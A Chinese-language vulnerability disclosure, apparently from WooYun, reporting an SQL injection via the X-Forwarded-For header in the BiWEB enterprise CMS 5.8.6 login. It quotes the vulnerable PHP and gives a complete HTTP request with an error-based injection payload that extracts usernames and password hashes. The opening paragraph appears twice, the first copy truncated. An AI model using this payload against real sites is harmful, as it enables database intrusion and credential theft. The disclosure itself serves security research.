### 简要描述： BiWEB最新企业版XFF注入一枚 ### 详细说明： 看到pandas提交的BiWEB的漏洞 [WooYun: BIWEB企业版多处SQL注入](http://www.wooyun.org/bugs/wooyun-2014-049740) ，pandas在search.php里找到了几个注入漏洞，我也来凑下热闹。去官网下BiWEB企业版最新的5.8.6来看看。 看看用户登录处是怎么处理的。BiWEB首先对GET和POST进行了过滤，/config/filtrate.inc.php ``` <?php //过滤GET或POST的值，去除两端空格和转义符号 if ($_SERVER['REQUEST_METHOD'] == 'POST'){ check::filtrateData($_POST,$arrGPdoDB['htmlspecialchars']); }elseif($_SERVER['REQUEST_METHOD'] == 'GET'){ check::filtrateData($_GET,$arrGPdoDB['htmlspecialchars']); } ?> ``` 这里就先不说这种过滤的脑残之处了。 继续往下看，判断用户是否可以正常登录的文件/mcenter/class/mcenter.class.php，若登录成功，则执行下面的代码（测试时请先注册一个用户）。 ``` 无关代码 if($arr){ if(is_array($_SESSION)) $_SESSION = array_merge($_SESSION,$arr); else $_SESSION = $arr; $arrUpdate = array(); $arrUpdate['user_ip'] = check::getIP(); $arrUpdate['lastlog'] = date('Y-m-d H:i:s'); $arrUpdate['user_id'] = $arr['user_id']; $arrUpdate['logtimes'] = ++$arr['logtimes']; $arrUpdate['session_id'] = session_id(); $this->updateUser($arrUpdate); return 1;...
### 简要描述： BiWEB最新企业版XFF注入一枚 ### 详细说明： 看到pandas提交的BiWEB的漏洞 [WooYun: BIWEB企业版多处SQL注入](http://www.wooyun.org/bugs/wooyun-2014-049740) ，pandas在search.php里找到了几个注入漏洞，我也来凑下热闹。去官网下BiWEB企业版最新的5.8.6来看看。 看看用户登录处是怎么处理的。BiWEB首先对GET和POST进行了过滤，/config/filtrate.inc.php ``` <?php //过滤GET或POST的值，去除两端空格和转义符号 if ($_SERVER['REQUEST_METHOD'] == 'POST'){ check::filtrateData($_POST,$arrGPdoDB['htmlspecialchars']); }elseif($_SERVER['REQUEST_METHOD'] == 'GET'){ check::filtrateData($_GET,$arrGPdoDB['htmlspecialchars']); } ?> ``` 这里就先不说这种过滤的脑残之处了。 继续往下看，判断用户是否可以正常登录的文件/mcenter/class/mcenter.class.php，若登录成功，则执行下面的代码（测试时请先注册一个用户）。 ``` 无关代码 if($arr){ if(is_array($_SESSION)) $_SESSION = array_merge($_SESSION,$arr); else $_SESSION = $arr; $arrUpdate = array(); $arrUpdate['user_ip'] = check::getIP(); $arrUpdate['lastlog'] = date('Y-m-d H:i:s'); $arrUpdate['user_id'] = $arr['user_id']; $arrUpdate['logtimes'] = ++$arr['logtimes']; $arrUpdate['session_id'] = session_id(); $this->updateUser($arrUpdate); return 1; }else{ if($isAlert) check::AlertExit("用户名或密码错误",-1); else return 0; } 无关代码 ``` 可以看到，上面代码中有这么一句$arrUpdate['user_ip'] = check::getIP();，然后没有过滤就直接执行SQL了。现在去看看ip是怎么获得的。 /web_common5.8/check.class.php ``` static function getIP() { $ip = ''; if ($_SERVER["HTTP_CLIENT_IP"]) $ip = $_SERVER["HTTP_CLIENT_IP"]; else if($_SERVER["HTTP_X_FORWARDED_FOR"])$ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; else if($_SERVER["REMOTE_ADDR"]) $ip =$_SERVER["REMOTE_ADDR"]; else $ip = "Unknow"; return $ip; } ``` 到这里就知道有问题了，登录，抓包，使用X-FROWARDED-FOR带入注入语句，成功注入。 Payload: ``` POST /user/login.php HTTP/1.1 Host: 192.168.0.107 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:33.0) Gecko/20100101 Firefox/33.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh,zh-cn;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.0.107/user/login.php x-forwarded-for:1' or (select 1 from (select count(*),concat(0x23,(select concat(user_name,0x23,password)from biweb_mcenter limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or' Cookie: AJSTAT_ok_times=8; bdshare_firstime=1414502402741; ypsdffp2app_admininfo=88ff7944laVfYY9BL1FuA%2BbNLMa%2Brd04KKHHyTrxgcY0sufkNR1I4pXCpZqYgYd9Y%2BqfL %2B4XwwN8WETv4bcEbqKo28CQBBbS0iWJDNmoWbq4y1I; PHPSESSID=sdaar3bonn3fma2h5hmdet4pe5 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 36 User=admin&Pass=admin&authCode=muran ``` 成功注入 [<img src="https://images.seebug.org/upload/201411/04004639ab0ce81b110c9cf303e40247830b7672.jpg" alt="注入语句执行情况及结果副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/04004639ab0ce81b110c9cf303e40247830b7672.jpg) ### 漏洞证明： 见 详细说明
